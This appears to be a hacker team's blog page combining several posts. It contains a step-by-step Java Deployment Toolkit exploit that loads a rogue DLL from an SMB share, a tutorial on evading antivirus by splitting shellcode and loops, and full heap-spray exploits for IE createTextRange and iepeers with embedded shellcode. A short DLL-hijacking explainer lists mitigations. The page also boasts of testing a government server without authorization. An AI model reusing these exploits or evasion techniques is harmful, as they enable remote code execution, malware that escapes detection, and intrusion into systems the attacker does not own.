Alternative JVM Xploit – Exploiting JVM on Chrome – A story

Author : “vinnu”
Team : Legion Of Xtremers (LOXians)
Greets : SecFence team,Lord Deathstorm, Terminator, fb1h2s, b0nd and all my friends

Note: This short paper is intended for wannabies who want to get a glance
of the process/way an exploit is developed when a new vulnerability is released.
I’ve chosen this vulnerability for the sake of simplicity and is easier to understand
distinctly every step.

Here i am presenting technical details about the Alternate JVM vulnerability
and its exploit development for all web browsers in the market. This story times around
April 2010.

In the afternoon everyone was busy in the team about the vulnerability published in
www.reversemode.com about the Java runtime environment by Tavis Ormandy.
So I decided to take a look and downloaded immediately all the JRE versions available
till date from JAVA’s site.

Note: By that time the latest update of JRE was 6u19, which was also vulnerable and
java was not considering this vulnerability as critical for windows systems. The criticality
was that, every windows till date with java installed was vulnerable to remote code execution.

The activeX controls 8AD9C840-044E-11D1-B3E9-00805F499D93 and DeploymentToolkit activeX control CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA
were vulnerable. The vulnerability was that an attacker can force JRe to load a DLL from a remote
smb share as an alternate jvm with specific name.

Started testing but all failed. A dll was prepared and was placed in a shared folder and a webpage

In first ActiveX mentioned above two parameters ‘launchjnlp’ and ‘docbase’ were vulnerable to
undocumented argument passing. And one of those drastic undocumented argument was -J along with -XXaltjvm
option this will lead to my rogue DLL injection.

The attacking code looked like this:

<!———–jvmtest.htm——————->
<html>
<head></head>
<body>
JVM Testing
<HR>

<object classid=”clsid:8AD9C840-044E-11D1-B3E9-00805F499D93″ width=”0″ height=”0″>
<PARAM name=”launchjnlp” value=”-J-XXaltjvm=\\ipaddress\share_folder_containing_jvm.d ll_file”>
<PARAM name=”docbase” value=”-J-XXaltjvm=\\ipaddress\share_folder_containing_jvm.d ll_file”>
</object>

</body>
</html>
<!——————————>

But the attack failed and did not worked as intended. So I opened console and gave command:

java /?

To check its arguments. I tried some other arguments too and accidently i placed one of the
option right before “-J-XXaltjvm” and then tried. It threw an error that

Can not find \\ipaddress\share\jvm.dll\jvm.dll\jvm.dll

So accidently i now knew the two things:

1. “-J-XXaltjvm” needs some junk to be frefixed first like:

“abc -J-XXaltjvm”

2. It will automatically search for jvm.dll in specified shared folder, so no need to specify jvm.dll

Then I modified the above jvmtest.htm as:

Suppose u’ve placed jvm.dll file in \\ipaddress\share_folder folder then:

<!———–jvmtest.htm——————->
<html>
<head></head>
<body>
JVM Testing
<HR>

<object classid=”clsid:8AD9C840-044E-11D1-B3E9-00805F499D93″ width=”0″ height=”0″>
<PARAM name=”launchjnlp” value=”sd -J-XXaltjvm=\\ipaddress\share_folder”>
<PARAM name=”docbase” value=”asd-J-XXaltjvm=\\ipaddress\share_folder”>
</object>

</body>
</html>
<!——————————>

Bingo. The dll was fired. Got my code working, but wait. Above code was not working with
all jre versions. It means i need to develop something that should work with most of web
browsers in the market.
Above code worked with jre versions nearly 6u18 and 6u19.

The second activeX provided above had a method named launch(parameter). The parameter to the launch
function was the place for our argument injection. So i altered the jvmtest.dll

<!———–jvmtest.htm——————->
<html>
<head></head>
<body>
JVM Testing
<HR>

<object classid=”clsid:8AD9C840-044E-11D1-B3E9-00805F499D93″ width=”0″ height=”0″>
<PARAM name=”launchjnlp” value=”sd -J-XXaltjvm=\\ipaddress\share_folder”>
<PARAM name=”docbase” value=”asd-J-XXaltjvm=\\ipaddress\share_folder”>
</object>

<script language=javascript>
var navig = navigator.appName.substring(0,5).toUpperCase();
var obj = document.createElement(“OBJECT”);

obj.classid = “clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA”;
if(navig! = ‘MICRO’) {
obj.type = “application/npruntime-scriptable-plugin;DeploymentToolkit”;
}
document.body.appendChild(obj);
obj.launch(“http: -J-XXaltjvm=\\ipaddress\share”);
</script>
</body>
</html>
<!——————————>

Now the code worked with nearly all(most) the JRE versions.

But three-four days after Kaspersky researchers said that the google chrome web browser
was not vulnerable to such attacks.

So it now seemed like a challenge for all the security community.
I too set for tackling it and discovered that if JRE versions 6u18 and 6u19
can be even targetted by applet tags without specifying the first activeX
classid listed above.

But initially chrome seemed to be immune to this trick too.
Soon i realised that chrome needs

src=””

And google chrome too fell in my hands….ah Kaspersky researchers, so many days of research,
so huge teams, and so many best equipments, How(why) did chrome escape….???

Following code was developed to kill all browsers in the market supporting java with
latest version at that time (jre 6u19) :

<!———–jvmtest.htm——————->
<html>
<head></head>
<body>
JVM Testing
<HR>

<applet code=”” codebase=”” height=”0″ width=”0″>
<PARAM name=”launchjnlp” value=”hitoall -Xnosplash -J-XXaltjvm=\\ipaddress\share”>
<PARAM name=”docbase” value=”sowhatsurplan -Xnosplash -J-XXaltjvm=\\ipaddress\share”>
</applet>

<script language=javascript>
var navig = navigator.appName.substring(0,5).toUpperCase();
var obj = document.createElement(“OBJECT”);

obj.classid = “clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA”;
if(navig! = ‘MICRO’) {
obj.type = “application/npruntime-scriptable-plugin;DeploymentToolkit”;
}
document.body.appendChild(obj);
obj.launch(“http: -J-XXaltjvm=\\ipaddress\share”);
</script>

</body>
</html>
<!——————————>

DLL Hijacking vulnerability

DLL Hijacking vulnerability is very hot these days. The web world is full of the news on DLL hijacking. HD Moore and other security researchers have reported about numerous Windows applications suffering  from these flaws. Here, I will throw some light on what it is and what precautionary measures can be taken to stop it.

What is DLL Hijacking Vulnerability ?

In simple words, DLL Hijacking is the vulnerability which can be used to make any vulnerable Windows application to load malicious DLL by exploiting its DLL search order mechanism there by taking complete control over the system. Attacker can trick the user to open the documents/video/movies from the remote share where user can place malicious version of legitimate DLL. So when user launches the application to view such remote content, application will load these malicious DLLs instead of original DLL.

This issue is not new and has been there since the early days of Windows, but it has gained more limelight while researchers discover more number of applications vulnerable to it though various mechanisms. Though Microsoft has documented about these implications in the MSDN, there are many vulnerable applications around.

Working

The video below, will help you in getting what DLL hijacking is.

Some solutions

Microsoft has released an Security Advisory citing this problem and mentioning about these mitigations

  • Disable loading of libraries from WebDAV and remote network shares
  • Disable the WebClient service
  • Block TCP ports 139 and 445 at the firewall

Microsoft has also introduced new registry key CWDIllegalInDllSearch to safeguard individual or All applications from this vulnerability. Below is the link to KB article

Thanks 🙂

Evading AV Signatures : Derailing the Antivirus

Evading AV Signatures…Derailing the Antivirus

Author: “vinnu”
Greetz : Prashant Uniyal, b0nd, Lord Deathstorm, D4rk357, G4H
Team : Legion Of Xtremers (LOX).

The perimeter defence (antivirus) is still considered fullproof measure by most of people
in virtual world. Such an assumption is fatal and can lead to more sophisticated compromise
of systems.

Note: In my last paper, “Heap spray — Slipping CPU To Our Pocket” I used some example exploits,
and most of people said that these things are getting caught in antivirus. But I already said
that do some R&D and you can develop the neat and clean exploits. So in this paper, I will use
same examples.

Some of the strategies of antivirus and ways to envade them are discussed in this paper.

Strategy:

1. Hostile code will try to execute itself as-fast-as it can: Bad-bad strategy.

Interesting strategy, as most of the viral code try to execute and infect as-fast-as
it can when it grabs the execution. Such a strategy can be evaded using sleeps, timeouts or dalays.

2. code size, as-small-as-possible: This strategy leads to assumption that a viral code, might employ
smallest possible variable, function names etc. and will lack spaces and tabs.
Again u can evade such an assumption easily by introducing spaces, tabs an breaking longer strings.

Shellcode or any data or string can be disected into several smaller chunks.
For examples:

var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba %u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u 030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1de8%u75 9c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9 %u94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%u dd2e%uc1ea%u8fc1%u8ea3%u2070%ud2c7%u4148%u5907%u39 f0%u9d22%uf385%ucd2d%u8f36%uf566%ud73d%u0456%u0b91 %u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u 68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61 dd%u7a82%u6d95%u086f%u71f1%udd6e%u8d89%ue0fb%u045d %uc6bf%u4d79%u661b%u2bdb%u97ca%u933b%u3db3%u3137%u 44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1%uf8 26%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709 %u552b%ua7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u 7ed6%ud357%ue537%u76df%u4148’)

can Also be transformed into:

var missindia = unescape(/*hi how are you*/’%u9090%u9’/*oh something, somewhere is losing*/+ ‘090%u90′ +’90%u9090%uc’ + /*jaijeya! ji*/’eba%u’+ ’11fa%’+ ‘u291f%ub1c9%ud’ +’ b33%ud9ce%’ +’ u2474%’ +’ u5ef4%u56’+ ‘31%u030e%u’ + ‘0e56%u0883%uf3’ + ‘fe%u68ea%u7’ +
‘a17%u9014%u’/* but who is the one who is losing*/ + “1de8%u759c%u0” + ‘fd9%ufefa%’ /*again dont ask me*/+ ‘u8048%u5288%u’+ ‘6b61%u46dc%u19f2%u6’ +’9c9%u94b3%u442f%’+ ‘u1944%u0af0%u’+ ‘3b86%u508c’+ ‘%u9bdb%u9bad%udd’+ ‘2e%uc1ea%u8fc’ +
“1%u8ea3%u2070%”+ “ud2c7%u4148%u59″+ ‘07%u39f0%u9d22%uf’ + ‘385%ucd2d%u8f’+ “36%uf566%ud73d%u0456%u”+ ‘0b91%u4faa%uf89e%u4’+ ‘e58%u3176%u61a’+ ‘0%u9eb6%u4e9f%ude3’+ ‘b%u68d8%u95a4%u8b1’+ ‘2%uae59%uf6e0%u3b85’+
‘%u50f5%u9b4d%u61’+ ‘dd%u7a82%u6d9’+ ‘5%u086f%u71f1%udd’+ ‘6e%u8d89%’ + ‘ue0fb%u045d%uc’ + ‘6bf%u4d79%u661b%u2b’+ ‘db%u97ca%u933b%u3db3%u313’ +’7%u44a7%u5f1a%uc4’+ “36%u2620%ud638%” + ‘u082a%ue751%uc7a1%u’ +
“f826%uac63%u1ac9%” + “ud8a6%u8361%u61” + ‘23%u34ec%ua59e%ub709’+ ‘%u552b%ua7ee%u5059%u’+ 6faa%u28b1%u05a3%’+ ‘u9fb5%u0fc4%u’+ ‘7ed6%ud357%ue5’+ ‘37%u76df%u4148’);

3. Long lasting Loops: essence of exploits: Again bad, bad strategy.

Loops can eat up resources like CPU and task schedular manager whenever sights the presence of any loop, it allocates more CPU time slice to the host process.
This is easiest signature for getting caught. Like this one in heap spray article.

for(i=0;i<1000;i++){spray[i]=nopsled+shellcode;}

This can be broken into smaller loops like:

for(i=0;i<100;i++){spray[i]=nopsled+shellcode;}

for(i=100;i<200;i++){spray[i]=nopsled+shellcode;}



for(i=950;i<1000;i++){spray[i] = nopsled + shellcode; }

But why should you use the loop, if you can do without it like:

var i = 0;
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++

——
—-
thousand lines of such code.

Otherwise:

spray[0] = nopsled + shellcode;
spray[1] = nopsled + shellcode;
spray[2] = nopsled + shellcode;
spray[3] = nopsled + shellcode;



spray[999] = nopsled + shellcode;

The best practice will be:

function somefunc() {
var somevar = document.cookie;
}
var vhold;
spray[0] = nopsled + shellcode;
vhold = setTimeout(“somefunc()”,50);
spray[1] = nopsled + shellcode;

——
——

and like that.

4. Followup code signature: This kind of strategy makes antivirus believe that an exploit
will always execute a certain fixed instruction. again bad-bad strategy.

E.g. most antivirus will detect following vulnerability:

<!———————>
<input type=”checkbox” id=’checkid’>
<script type=text/javascript language=javascript>
a=document.getElementById(‘checkid’);
b=a.createTextRange();
</script>
<!———————>

But, if we’ll insert some junk code into it, then same antivirus, will not detect it as a
threat as in following code:

<!———————>
<input type=”checkbox” id=’checkid’>
<script type=text/javascript language=javascript>
function doit() {
var asdragger = document.cookie + “hi all”;
}
a=document.getElementById(‘checkid’);
var grabit = setTimeout(“doit()”,1000);
var memc = navigator.appVersion;
b=a.createTextRange();
</script>
<!———————>

Employing all these techniques, u can also develop a code scrambler and after employing all these techniques
and further scrambling the The antivirus envasion is possible.

There exists more techniques, which if employed including all above listed countermeasures, all the antivirus
with even latest ever updates can also be evaded successfully. Just a little more research from ur side is needed.

Thanx…”vinnu”

Heap Spray by Vinay Katoch

Heap Spray — Slipping CPU to our pocket

Author : “vinnu”
Team : “Legion Of Xtremers” (LOXians)
Greetz : Prashant Uniyal, b0nd, D4rk357, skylined

Rootkit Information:

IDE: any text editor
Language : Javascript
Targets: Web browsers

As the name defines itself Heap Spray technique uses the spraying of heap memory
with injection vector.
Injection Vector: Nop sled + Shellcode

This kind of exploitation is useful in use-after-free, double-free or memory corruption
vulnerabilities. In such attacks the program tries to access an object instance’s methods or poroperties in heap
memory after the instance has been freed, this may lead to the code execution.

A typical execution flow of a general heap spray exploit is as:

————————-
Allocate the object
& properties if necessary
————————-
|
|
|
_I_
————————-
Free the object
————————-
|
|
|
_I_
————————
Spray the heap
————————
|
|
|
_I_
————————-
Trigger the vulnerability
————————-

And in general we can seperate the heap spray exploits in two sections:

1. Heap Sprayer
2. Vulnerability Trigger

1. Heap Sprayer : A heap sprayer sprays the heap with the properly alligned code to be executed
upon triggering the vulnerability. In heap spray the memory is repeatedly allocated in the heap area
and then injection vector is placed in it untill whole heap gets filled up.

The ammount of spray depends upon the available memory for the program and the guessed position of the
block of memory in which the vulnerable instance of object gets placed in general.

In order to develop some efficient sprayers, we must know a little about the fundamentals of allocations.

When an object gets allocated in heap?

Consider following two allocation:

var a = “XXXXXXXXXXXXXXXXXXXXXxxxxx”
var b = new String(“YYYYYYYYYYYYYYYY”)

Well variable “a” will be allocated on stack whereas b will be allocated on heap.

also consider following assignments:

var c = a + a;
var d = a.substring(0,a.length-3);

c and d Will also be allocated in heap area.

Also take into note that whan a heap allocation occurs, the largest unused block gets deallocated first and then
the smaller chunk is allocated there. This also gives control of the heap allocations and its alignment to the attacker.

Now we should know a little about the data placement in heap area.

Consider a string “AAAA”, it will be placed in memory as unicode string in following form:

00 41 00 41 00 41 00 41 00 00

This kind of data handling can destroy the shellcode in memory. therefore, shellcode should be placed in memory
in unicode form occupying 00 bytes also with precious shellcode bytes.

For examples consider 90 90 90 90 bytes to be placed in memory as nop sled. Then this nop sled can be allocated as:

var nopsled = unescape(“\u9090\u9090”);

Sameway the shellcode can be placed in memory.

So now we have basic idea of code allocation. Now let us proceed to develop a sprayer:

The heap spray is done in two stages.

First a very large instance of injection vector is prepared & allocated on heap area
and then it is sprayed all over heap to fill up all available memory for heap allocations.

Note: After a perfect heap spray, no further heap allocations can be done.

var shellcode = unescape(‘<place Shellcode here>’); // shellcode is assigned.
bigblock = unescape(“%u0D0D%u0D0D”); // nop sled
headersize=20;shellcodesize = headersize + shellcode.length; //Proper length of shellcode in memory is calculated.
while(bigblock.length < shellcodesize) {
bigblock += bigblock; // The nopsled of a little big size than shellcode size is first prepared.
}
heapshell = bigblock.substring(0, shellcodesize); // Nopsled of proper calculated shellcode length on heap is allocated.
nopsled = bigblock.substring(0, bigblock.length – shellcodesize); // another chunk of nopsled – propershellcode size in memory is allocated on heap
while(nopsled.length + shellcodesize < 0x40000){ // Filling up 40000 words (word = 2bytes) for modern browsers. Lets name this line as “single chunk”.
nopsled = nopsled + nopsled + heapshell; // A large single chunk at heap is being populated.
}

Above code properly adjusts the nop sled 0x0d0d0d0d and shellcode.
Now this large heap chunk contained in variable “nopsled” needs to be sprayed throughout the
heap along with shellcode suffixed to it as:

spray=new Array();var i=0;
for(i=0;i<1000;i++) {
spray[i]=nopsled+shellcode; // Nopsled + shellcode being sprayed throughout the heap area.
}

Above code will spray 1000 time the heap enough to bring down a 512 MB physical memory windows XP systems in modern
web browsers IE7 onwards.

In case of IE6 and below, u may need to adjust the “single chunk” size and spray size accordingly.

For examples in case of IE 6 single chunk can be made 86000 whereas spray size can be set to 200 or 400 as per vulnerabilities requirements.

Now we have an efficient heap sprayer:

<———————-heap sprayer————————>
var shellcode=unescape(‘<place Shellcode here>’);
bigblock=unescape(“%u0D0D%u0D0D”);
headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(0,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<0x40000){nopsled=nopsled+nopsled+heapshell}

spray=new Array();var i=0;
for(i=0;i<1000;i++){spray[i]=nopsled+shellcode;}
<——————–heap sprayer end———————->

Now let us consider few real world vulnerabilities and develop the exploits with above heap sprayer.

1. IE 6 textranges(): The vulnerability lies in createTextRange() function associated with checkbox objects in html.

<html>
<body>
<input type=”checkbox” id=’checkid’>
<script type=text/javascript language=javascript>
a=document.getElementById(‘checkid’);
b=a.createTextRange();
</script>
</body>
</html>

In order to exploit such a vulnerability, we just need to spray the heap right before triggering the vulnerability.
after hit and trials and adjustments of “single chunk” size and spray size, we got an efficient exploit :

<!———————-textranges.htm—————->
<html>
<body>
<script language=javascript>
/*———————-heap sprayer————————*/
var shellcode=unescape(‘<place Shellcode here>’);
bigblock=unescape(“%u0D0D%u0D0D”);
headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(0,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<0x82000){nopsled=nopsled+nopsled+heapshell}

spray=new Array();var i=0;
for(i=0;i<400;i++){spray[i]=nopsled+shellcode;}
/*——————–heap sprayer end———————-*/
</script>
<input type=”checkbox” id=’checkid’>
<script type=text/javascript language=javascript>
a=document.getElementById(‘checkid’);
b=a.createTextRange();
</script>
</body>
</html>
<!——————–textranges.htm end————–>

with calc.exe execution shellcode

<!———————-textranges.htm—————->
<html>
<body>
<script language=javascript>
/*———————-heap sprayer————————*/
var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1de8%u759c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9%u94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%udd2e%uc1ea%u8fc1%u8ea3%u2070%ud2c7%u4148%u5907%u39f0%u9d22%uf385%ucd2d%u8f36%uf566%ud73d%u0456%u0b91%u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61dd%u7a82%u6d95%u086f%u71f1%udd6e%u8d89%ue0fb%u045d%uc6bf%u4d79%u661b%u2bdb%u97ca%u933b%u3db3%u3137%u44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1%uf826%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709%u552b%ua7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148′);
bigblock=unescape(“%u0D0D%u0D0D”);
headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(0,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<0x86000){nopsled=nopsled+nopsled+heapshell}

spray=new Array();var i=0;
for(i=0;i<800;i++){spray[i]=nopsled+shellcode;}
/*——————–heap sprayer end———————-*/
</script>
<input type=”checkbox” id=’checkid’>
<script type=text/javascript language=javascript>
a=document.getElementById(‘checkid’);
b=a.createTextRange();
</script>
</body>
</html>
<!——————–textranges.htm end————–>

Above exploit will take nearly a minute to spraY the heap. Also study the performance graph of memory and cpu in taskmanager for
better understanding the heap spray technique.

2. IE iepeers:

The following code can trigger the vulnerability in ieepeers.dll in internet explorer:

<html><body>
<button id=’butid’ onclick=’trigger();’ style=’display:none’></button>

<!–place the sprayer here—->

spray=new Array();var i=0;
for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}
function trigger(){
var varbdy = document.createElement(‘body’);
varbdy.addBehavior(‘#default#userData’);
document.appendChild(varbdy);
try {
for (iter=0; iter<10; iter++) {
varbdy.setAttribute(‘s’,window);
}
} catch(e){ }
window.status+=”;
}
document.getElementById(‘butid’).onclick();
</script></body></html>

So for above vulnerability, following is the heap spray exploit with calc.exe shellcode:

<!———————-iepeers.htm——————>
<html><body>
<button id=’butid’ onclick=’trigger();’ style=’display:none’></button>
<script language=’javascript’>
/*———-heap sprayer——————*/
var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1de8%u759c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9%u94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%udd2e%uc1ea%u8fc1%u8ea3%u2070%ud2c7%u4148%u5907%u39f0%u9d22%uf385%ucd2d%u8f36%uf566%ud73d%u0456%u0b91%u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61dd%u7a82%u6d95%u086f%u71f1%udd6e%u8d89%ue0fb%u045d%uc6bf%u4d79%u661b%u2bdb%u97ca%u933b%u3db3%u3137%u44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1%uf826%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709%u552b%ua7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148’);
bigblock=unescape(“%u0D0D%u0D0D”);
headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(0,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<0x25000){nopsled=nopsled+nopsled+heapshell}

spray=new Array();var i=0;
for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}
/*————–spray code end———————*/

function trigger(){
var varbdy = document.createElement(‘body’);
varbdy.addBehavior(‘#default#userData’);
document.appendChild(varbdy);
try {
for (iter=0; iter<10; iter++) {
varbdy.setAttribute(‘s’,window);
}
} catch(e){ }
window.status+=”;
}
document.getElementById(‘butid’).onclick();
</script></body></html>
<!———————-iepeers.htm——————>

The spray area for iepeers exploit for IE6 is small and thus exploit runtime is efficiently faster.

The story doesnt end here, study more for more expertisation over code execution and heap spray technique…”vinnu”

Rediff Bugs

Long ago, Vinnu bhai had found critical bugs in rediff.com. This time one of our reader has notified us about bugs in rediff again. Sam mailed us about the cross site scripting and sql injection vulnerability in rediff site. Rediff has been facing spam mail problems. They need to work hard on their  security to provide better assurance to its users. Below are  pics of vulnerability notified by Sam:

sqli. click to enlarge

xssed. click to enlarge

Thanks Sam 🙂

Why India lacking in IT security?

Last night I thought of conducting a small penetration testing on an Indian gov. organization. I was not surprised to found many open holes on their server. It could have been owned in just few minutes!! The attention to be drawn is that why India is lacking in IT security. Everyday chinese hackers are able to intrude in our networks and steal valuable information and files. India is totally lacking here in the cyber space. Indians are working in Microsoft, IBM and other big corporations but they dont have anytime to work for india? We all need to wake up until its too late. Below is the pic which shows control over the server of the organization. Wake up India until its too late.

windows server. click to enlarge